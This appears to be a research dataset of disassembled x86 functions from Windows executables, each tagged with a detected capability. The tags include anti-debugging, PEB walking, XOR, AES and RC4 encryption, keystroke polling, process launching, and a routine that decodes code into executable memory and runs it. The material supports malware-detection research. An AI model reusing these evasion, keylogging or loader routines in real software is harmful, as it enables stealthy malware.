joyce8/EMBER2024-capa huggingface dataset:
Function at 0x512027
Capabilities:
Execute anti-debugging instructions

Disassembly:
bts si, di
bsf ax, bx
mov dx, 0x97c1
mov al, byte [esp]
jmp 0x51215e
push word [esp + 2]
lea esp, [esp + 5]
lea esp, [esp + 2]
std
mov dh, byte [esp]
jmp 0x511ff7
lea esi, [edi + ebp]
cld
mov esi, 0xa51c642b
jmp 0x51200d
inc dx
mov dl, 0x4a
sub esp, 0x12
inc si
xchg word [esp + 0xf], dx
jmp 0x5120d3
neg ax
mov eax, dword [esp]
mov si, word [esp]
lea edx, [ebp - 0xc4]
add dl, bl
mov edx, 0xc90d6b81
jmp 0x512032
mov dx, ax
std
xchg al, dl
rcl esi, cl
bswap esi
lea esp, [esp]
jmp 0x512048
not eax
bswap esi
push dword [esp + 7]
mov esi, 0x370ff932
mov dx, 0x4db7
lea esi, reloc.USER32.dll_CreateWindowExW
jmp 0x5120b2
mov edx, 0xefe2fe9d
pushfd
lea edx, [ebp - 7]
bswap eax
bsr ax, di
inc dx
jmp 0x51207f
not si
mov word [esp + 0x1c], dx
rdtsc
mov al, 0x9a
rdtsc
push dword [esp + 0xc]
jmp 0x512119
xchg word [esp + 3], si
push word [esp + 0xe]
lea edx, [edx*4]
inc dx
push dword [esp + 0xc]
mov al, cl
jmp 0x51209f
bt ax, di
push di
lea eax, reloc.USER32.dll_CreateWindowExW
xchg ah, al
pop word [esp + 9]
bsf esi, eax
jmp 0x512144
pop ebp
and al, 0xd7
cmp dl, al
pop esi
int3
mov dword [esp + 0x1d], edx
neg si
pop dx
xchg byte [esp + 1], dh
rcr al, cl
mov dx, 0x79bb
jmp 0x5120ee
mov eax, dword [esp + 0xa]
pop dword [esp + 0x14]
add esp, 0x1a
jmp 0x512186
stc
xchg byte [esp + 0x19], ah
pop ax
mov si, 0x5f13
bswap edx
pop word [esp + 0x13]
jmp 0x51212e
mov ax, dx
xchg al, dh
mov dh, byte [esp]
std
lea esp, [esp]
std
jmp 0x512070
mov edx, dword [esp]
xchg esi, edx
lea edx, [ecx*4]
std
xchg esi, eax
call fcn.0051231f
dec ebx
loop 0x512108
add edx, 0xc593665a
not dl
neg esi
lea eax, reloc.USER32.dll_CreateWindowExW
std
setl ah
jmp 0x512170
ret 0x665a

Function at 0x512236
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp], ecx
bswap esi
neg esi
jmp 0x512220

Function at 0x512695
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 0xe
clc
add esp, 2
push dword [esp]
lea edx, reloc.USER32.dll_CreateWindowExW
pop esi
jmp 0x512609
lea edx, [ecx + ebx]
lea esp, [esp + 6]
bsr si, bx
xchg dword [esp], eax
rol si, 0
xchg ah, dl
jmp 0x51261f
mov edx, dword [esp + 0x1d]
pop word [esp + 9]
push cx
jmp 0x512662

Function at 0x512a53
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg al
std
lea edx, [edx*4]
jmp 0x512b59
xchg si, dx
lea edx, [ebx*4]
stc
mov byte [esp + 3], dh
mov dx, word [esp]
pop word [esp + 1]
jmp 0x512a76
pop word [esp]
rcl eax, cl
lea eax, reloc.USER32.dll_CreateWindowExW
push bp
mov byte [esp + 4], al
mov word [esp], ax
jmp 0x512a8c
mov byte [esp + 3], dl
dec edx
mov dx, 0xd8ce
mov al, 0xa8
rdtsc
mov dx, word [esp + 4]
jmp 0x512aac
Function at 0x512d49
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ax, 0xe21
cmc
lea esp, [esp + 3]
xchg esi, eax
mov dh, byte [esp + 2]
jmp 0x512d8b
push word [esp + 5]
mov dx, 0x53ca
mov si, word [esp + 3]
jmp 0x512d33
mov eax, 0xc7e8c1c9
rdtsc
mov dh, byte [esp]
mov dh, al
mov ah, dl
jmp 0x512ead
xchg byte [esp + 1], dh
mov dh, 0x65
lea eax, [eax*4]
cld
xchg word [esp + 1], ax
mov eax, 0xbff095e8
jmp 0x512d75
neg al
mov ax, word [esp + 1]
std
lea esi, [esi + ebp]
rcr si, cl
jmp 0x512e6d
lea edx, reloc.USER32.dll_CreateWindowExW
lea esi, [ecx - 0x33]
mov dx, word [esp]
lea edx, [ecx - 0xdd]
pop word [esp]
xchg dx, ax
jmp 0x512dc4
sub esp, 6
mov word [esp + 3], si
pop dx
pop si
mov eax, dword [esp + 0x2a]
jmp 0x512e24
sub esp, 0xd
mov si, word [esp + 0x1e]
mov dl, 0x1c
pop word [esp + 8]
bsr eax, edx
xchg byte [esp + 0x19], al
jmp 0x512df6
cld
lea esp, [esp + 0xb]
lea esi, [ecx + 0x30]
mov edx, 0x291c4909
jmp 0x512e4d
bswap eax
pop edx
mov dh, dl
pushal
pop dword [esp + 0xb]
mov ah, byte [esp + 7]
jmp 0x512e0c
lea esi, [eax*4]
lea esp, [esp + 3]
xchg byte [esp + 5], dh
mov edx, 0xb6fadfd9
pop eax
std
jmp 0x512e96
mov si, word [esp + 2]
not dx
pushfd
xchg dword [esp], edx
shr dh, cl
push dword [esp]
jmp 0x512e3d
push word [esp + 0xe]
mov si, word [esp]
dec esi
neg dh
jmp 0x51301c
lea esp, [esp + 0x13]
lea esi, [eax + edx]
pop word [esp + 2]
sub esp, 0x14
jmp 0x512e80
bsf dx, ax
inc dh
mov byte [esp], al
mov byte [esp + 3], al
mov ah, 0xa5
neg si
jmp 0x512ddb
not si
mov si, cx
mov eax, dword [esp]
mov al, 0x95
mov eax, dword [esp + 0x3c]
inc esi
jmp 0x512f46
mov dl, bl
xor ah, ah
cmc
sub edx, edi
mov edx, dword [esp + 0x30]
mov si, word [esp]
jmp 0x512ec4
mov esi, dword [esp]
sub esp, 0xe
add esp, 8
les ecx, [eax]
bswap esi
call fcn.00512f01
lea esp, [esp + 3]
mov dword [esp + 4], ecx
call 0x512f64
jl 0x512f4d
add byte [bx + si], al
invalid

Function at 0x512d63
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov si, 0xba6a
and dx, 0x7237
mov edx, dword [esp + 0xd]
jmp 0x512b81

Function at 0x512ff8
Capabilities:
Access peb ldr_data

Disassembly:
call fcn.00512066
mov dword [esp], ebx
mov dword [esp], edi
jmp 0x513000
lea esp, [esp]
mov dword [esp], ecx
jmp 0x512fe2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x5130c8
push eax
jmp 0x512061
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
jmp 0x513068
Function at 0x4110a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4110af
pop dword [ebp - 0x18]
mov eax, 0x81906499
sub eax, 0x814f53ea
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x6c68c3f2
sub dword [ebp - 0x28], 0x1e167ea7
mov dword [ebp - 0x24], 0xeb5218c
sub dword [ebp - 0x24], 0xdc81d547
mov dword [ebp - 0x20], 0x53c20ff8
add dword [ebp - 0x20], 0xf88a3436
mov dword [ebp - 0x1c], 0x52e15aa9
add dword [ebp - 0x1c], 0xad1ea557
lea eax, [ebp - 0x28]
push eax
mov eax, 0x46584b68
sub eax, 0x46156a10
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x6b05fb52
add dword [ebp - 0x28], 0x96c6e04
mov dword [ebp - 0x24], 0x1bc566de
add dword [ebp - 0x24], 0x25a6fa97
mov dword [ebp - 0x20], 0xb7e3a7fc
sub dword [ebp - 0x20], 0x54743b90
mov dword [ebp - 0x1c], 0xf2f616e2
add dword [ebp - 0x1c], 0xd09e91e
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3f97a
push 0
call eax
mov ecx, 0xa4698d14
sub ecx, 0xa46949cf
xor edi, edi
add edi, eax
mov ebx, 0x86788337
add ebx, 0x79cd8cc9
add ebx, dword [ebp - 0x18]
mov esi, 0x8a1227ae
mov edx, dword [ebx]
sub dword [ebp - 8], 0x14fb3ec5
add edx, esi
xor dword [ebp - 0x14], edx
mov dword [edi], edx
add edi, 0x361b361c
add edi, 0xc9e4c9e8
add ebx, 0x9bac6849
add ebx, 0x645397bb
loop 0x4111c8
add eax, 0xffff5f41
add eax, 0x1a0a6
xor ebx, ebx
add ebx, eax
add eax, 0x41f671e
add eax, 0xfbe098e7
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0xcaffbf
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 2]
jmp 0xcafe93
sub esp, 0x1e
jnp 0xcafe4c
lea esp, [esp + 2]
jmp 0xcafe93
jbe 0xcafeaa
ja 0xcafeaa
sub esp, 0x10
jmp 0xcaff3e
lea ebp, [esp + 0x28]
cmc
jns 0xcafe7d
sub esp, 0x10
pushal
pop ebx
call fcn.00caff03
je 0xcaff0d
mov ds, word [ecx]
js 0xcaff05
mov edi, dword [esp + 0x34]
mov dl, byte [esp]
mov bx, 0xf081
lea edx, [edx + edi]
jmp 0xcafe62
lea edx, [ecx*4]
mov dl, 0xac
mov dl, byte [esp]
mov ax, 0x9f99
mov ax, word [esp]
lea ecx, [ecx + 0x9c]
jmp 0xcaff26
xchg esi, ebx
sub esp, 0xe
mov dword [esp + 5], ebp
neg eax
lea esp, [esp + 2]
xchg dword [esp + 0xc], ecx
jmp 0xcafeba
jmp 0xcafee2
xchg dword [esp + 0x40], ecx
xchg edx, eax
mov bx, word [esp]
mov dl, 0xa4
neg ah
cmc
jmp 0xcaffa4
pushal
push word [esp + 0x17]
lea ebx, [ebp + 0x5f]
not bh
sub esp, 0x14
lea esp, [esp + 2]
jmp 0xcaff07
pushal
pop ebx
sub esp, 0x6c
mov esi, esp
push esp
mov word [esp], bx
jmp 0xcaff7a
jbe 0xcaff63
mov ebx, 0x9b33120
jmp 0xcafc6a
mov ebx, 0x9b33120
jmp 0xcafc6a
mov byte [esp + 2], bh
mov dl, 0xc
mov ecx, edi
mov dh, byte [esp]
mov dl, byte [esp]
sub esp, 0x18
jmp 0xcaff4c
push dword [esp + 0x40]
lea ebx, [eax*4]
sub esp, 8
jmp 0xcafe79

Function at 0xccb3f0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xca19fe
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0xca1a1a
mov edx, dword [esp + 4]
movzx edx, byte [ecx + edx]
rol eax, 7
xor eax, edx
inc ecx
cmp ecx, dword [esp + 8]
jb 0xca1a06
jmp 0xca1a25
ret
lea esp, [esp + 8]
jmp 0xca19f3

Function at 0xce6786
Capabilities:
Encrypt data using aes

Disassembly:
mov dword [eax + 0x1c], edx
pushal
lea esp, [esp + 0x38]
cmp ebx, 0xcae4b0
jmp 0xce6407
xor edx, ecx
sub esp, 0xc
lea esp, [esp + 7]
pop word [esp]
lea esp, [esp + 3]
jmp 0xce63c9
push dword [esp + 4]
jmp 0xce63ea
push esp
push edx
pushal
push esp
lea esp, [esp + 0x2c]
jmp 0xce6435
jne 0xce5a32
xchg bx, si
xchg bp, ax
xchg ebx, eax
jmp 0xce6bb7
pop edi
setl bl
mov bl, 0x44
call fcn.00ce6596
lea edi, [eax*4]
push word [esp + 3]
lea esp, [esp + 2]
jmp 0xce6afa
pushal
pushal
call fcn.00ce681e
inc al
mov dword [esp], edx
sub esp, 6
lea esp, [esp + 2]
lea esp, [esp + 4]
popal
jmp 0xce687f
mov edx, dword [esi]
pushal
mov eax, ebp
lea esi, [edx + ebx]
jmp 0xce69e0
mov ebx, dword [ebx*4 + 0xcacc88]
lea esp, [esp + 4]
add esi, 0x10
bswap edx
jmp 0xce6a93
push 0xa
mov al, byte [esp]
bswap edi
pop eax
jmp 0xce677b

Function at 0xce67e4
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0xce684a
mov dword [esp + 0x18], edi
push edx
lea esp, [esp + 4]
popal
jmp 0xce6828
lea ecx, [ecx*4]
lea ecx, [ecx + 0xcad088]
mov edi, dword [ecx]
pop ecx
jmp 0xce6868
and edi, ecx
push edx
push ecx
pushal
jmp 0xce67e6
lea esp, [esp + 3]
jmp 0xce696a
and ebx, ecx
pushal
add esp, 3
mov dword [esp + 0xe], esi
lea esp, [esp + 0x16]
jmp 0xce6851
and ebx, ecx
stc
push edx
call fcn.00ce6886
movzx ebx, byte [esi + 2]
sub esp, 0xa
sub esp, 0x18
push word [esp + 0x15]
mov ebx, dword [ebx*4 + 0xcacc88]
jmp 0xce689d
lea esp, [esp + 0x24]
xor edi, dword [ebx*4 + 0xcad888]
setl bh
not ebx
jmp 0xce68c0
Function at 0xce6886
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 0x2c]
jmp 0xce68a6
xor edi, dword [ebx*4 + 0xcad488]
mov bx, 0xf51b
btc ebx, edx
jmp 0xce692c
sub esp, 0xe
mov byte [esp + 7], dh
lea esp, [esp + 2]
lea esp, [esp + 0x28]
xor edi, dword [edx*4 + 0xcadc88]
jmp 0xce6915
push esp
pop word [esp + 0x11]
mov edx, dword [edx*4 + 0xcacc88]
and edx, ecx
jmp 0xce68d8
not dh
or dx, 0xd1f8
cmc
rcr edx, 0xb
jmp 0xce6952
movzx ebx, byte [esi + 5]
push edx
and edx, ecx
sub esp, 0x16
jmp 0xce6904
mov word [esp + 0xc], di
jmp 0xce69ac
mov edx, dword [esi + 4]
sub esp, 6
sub esp, 0x14
pop word [esp + 0x11]
jmp 0xce6938
cmc
call fcn.00ce697f
invalid
push eax
mov eax, esi
mov dword [eax], edi
pop eax
jmp 0xce6995

Function at 0xce697f
Capabilities:
Encrypt data using aes

Disassembly:
mov di, word [esp + 2]
jmp 0xce69b4
push esi
mov esi, ebx
lea esi, [esi*4]
jmp 0xce69c4
lea esi, [esi + 0xcacc88]
mov ebx, dword [esi]
pop esi
clc
lea edi, [esi - 0x65]
jmp 0xce6a2f
shr edi, 0x18
call fcn.00ce6a76
mov cl, 0x3d
lodsd eax, dword [esi]
mov ah, 0x47
mov al, 0x81
push cs
pushfd
sti
push ss
cmc
pop ds
lea sp, [esp + 2]
lea esp, [esp + 2]
mov dword [esp + 0x10], edx
lea esp, [esp + 0x10]
popal
stc
sub esp, 4
jmp 0xce69f6
pushal
mov di, word [esp]
sub esp, 2
mov esi, 0x116ae96c
sub esp, 0x10
jmp 0xce6a0c

Function at 0xce6d4d
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
pushal
shr edi, 0x18
sub esp, 4
jmp 0xce6d6c
mov edi, dword [edi*4 + 0xcacc88]
pushal
jmp 0xce6fc5
lea esp, [esp + 3]
mov edx, dword [edx*4 + 0xcacc88]
cmc
sub esp, 0x16
lea esp, [esp + 2]
jmp 0xce6eda
and edx, ecx
stc
sub esp, 0x18
push edx
add esp, 0x19
jmp 0xce6dc2
movzx ebx, byte [esi + 0xe]
mov ebx, dword [ebx*4 + 0xcacc88]
stc
pushal
stc
jmp 0xce6de6
scasb al, byte es:[edi]
cmp al, 0x5b
mov dh, 0x44
xor al, 0xc3
push ebx
lds esp, ss:[0x7d1a840a]
invalid
and ebx, ecx
call 0xce6eb8
leave
call fcn.00ce6f09
lea edx, [ebx]
and esi, 0x15
std
adc eax, 0x9c6d0a94
ja 0xce6e79
add dword [ecx + 0x40e303f0], edx
add edi, dword [edx - 0x2809047a]
mov ebx, dword [esp]
lea esp, [esp + 4]
jmp 0xce6ee1
lea esp, [esp + 0x58]
xor edi, dword [ebx*4 + 0xcad888]
lea ebx, [esp + ebp]
lea ebx, [esi - 0xd]
jmp 0xce6dff
and edi, ecx
mov edi, dword [edi*4 + 0xcad088]
and ebx, ecx
jmp 0xce6f6d

Function at 0xce7046
Capabilities:
Encrypt data using aes

Disassembly:
mov edx, dword [edi]
pop edi
sub esp, 0x10
clc
cmc
jmp 0xce6d83
mov edi, edx
call fcn.00ce6d4d
pop esi
push edi
mov edi, esi
lea edi, [edi + 0xc]
jmp 0xce6d3b
mov dword [esi + 8], edi
not edi
mov edi, dword [esp]
mov ebx, dword [ebx*4 + 0xcacc88]
lea edi, [edx + edx]
jmp 0xce6d45
lea esp, [esp + 0xc]
xor edi, dword [edx*4 + 0xcadc88]
mov edx, dword [esp]
lea edx, [eax - 0xe9]
mov dh, ch
jmp 0xce6d64
jmp 0xce6daa

Function at 0xe8f184
Capabilities:
Parse pe header

Disassembly:
call fcn.00e8e008
lea esp, [esp + 0x28]
jmp 0xe8e003
mov word [esp + 1], dx
pushal
push word [esp + 0x1a]
lea esp, [esp + 2]
jmp 0xe8ec2e
Function at 0x409c80
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46b13b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045fc16
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409d02
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045db2d
mov eax, dword [eax]
push 0x4811d0
push eax
call fcn.00450994
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045fea1
test bl, bl
je 0x409d02
push 0x4811d0
lea ecx, [esp + 0xc]
call fcn.00460231
push 0x484d44
lea ecx, [esp + 0xc]
call fcn.00460231
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x409d3e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045fea1
jmp 0x409e09
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409dc2
lea edx, [esp + 0x7c]
push 0x484d40
push edx
call fcn.00450994
add esp, 8
test eax, eax
je 0x409dc2
lea eax, [esp + 0x7c]
push 0x484d3c
push eax
call fcn.00450994
add esp, 8
test eax, eax
je 0x409dc2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409d52
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045fea1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a600
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a662
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a670
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46b1bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x48b600]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a7a8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a6d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045fea1
xor eax, eax
jmp 0x40a81f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045ffde
push esi
lea ecx, [esp + 0xc]
call fcn.0046026d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a7fd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040a600
test eax, eax
jne 0x40a7fd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040a600
test eax, eax
jne 0x40a7fd
lea eax, [esp + 0x14]
push 0x484d58
push eax
call fcn.004519d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a7dc
lea ecx, [esp + 0x14]
push 0x484d54
push ecx
call fcn.00451950
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a7dc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a7df
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045ff8e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a6ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045fea1
xor eax, eax
jmp 0x40a81f
mov byte [esi], 0
push 0x484d50
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045fea1
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ccd0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41cd3e
cmp si, 0x69
ja 0x41cd3e
add esi, 0xffd0
cmp si, 0x11
je 0x41cd0e
push 0x11
call edi
test ax, ax
jge 0x41cd0e
or esi, 0x2000
cmp si, 0x10
je 0x41cd23
push 0x10
call edi
test ax, ax
jge 0x41cd23
or esi, 0x4000
cmp si, 0x12
je 0x41cd38
push 0x12
call edi
test ax, ax
jge 0x41cd38
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41cd4b
mov esi, 0xbd
jmp 0x41ccff
cmp si, 0x6e
jne 0x41cd58
mov esi, 0xbe
jmp 0x41ccff
cmp si, 0x6f
jne 0x41ccf9
mov esi, 0xbf
jmp 0x41ccff

Function at 0x41e3f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x49bc58]
xor edx, edx
cmp eax, edx
jne 0x41e416
xor eax, eax
mov byte [eax + 0x49bb58], al
inc eax
cmp eax, 0x100
jl 0x41e3fe
mov dword [0x49bc58], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x49bb58
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41e4a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41e47a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41e448
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41e520
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41e573
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41e55a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424fb0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x425148
cmp ebp, ebx
jle 0x425148
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42500e
dec eax
or eax, 0xfffffff8
inc eax
je 0x425015
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x425024
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42502b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045fbe2
add esp, 4
cmp eax, ebx
je 0x42504c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045fbe2
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42513e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x425125
mov al, byte [edx]
cmp al, 0xc0
jbe 0x425111
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x425106
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x425114
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x425114
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4250b0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4250a1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x428380
Capabilities:
Access peb ldr_data

Disassembly:
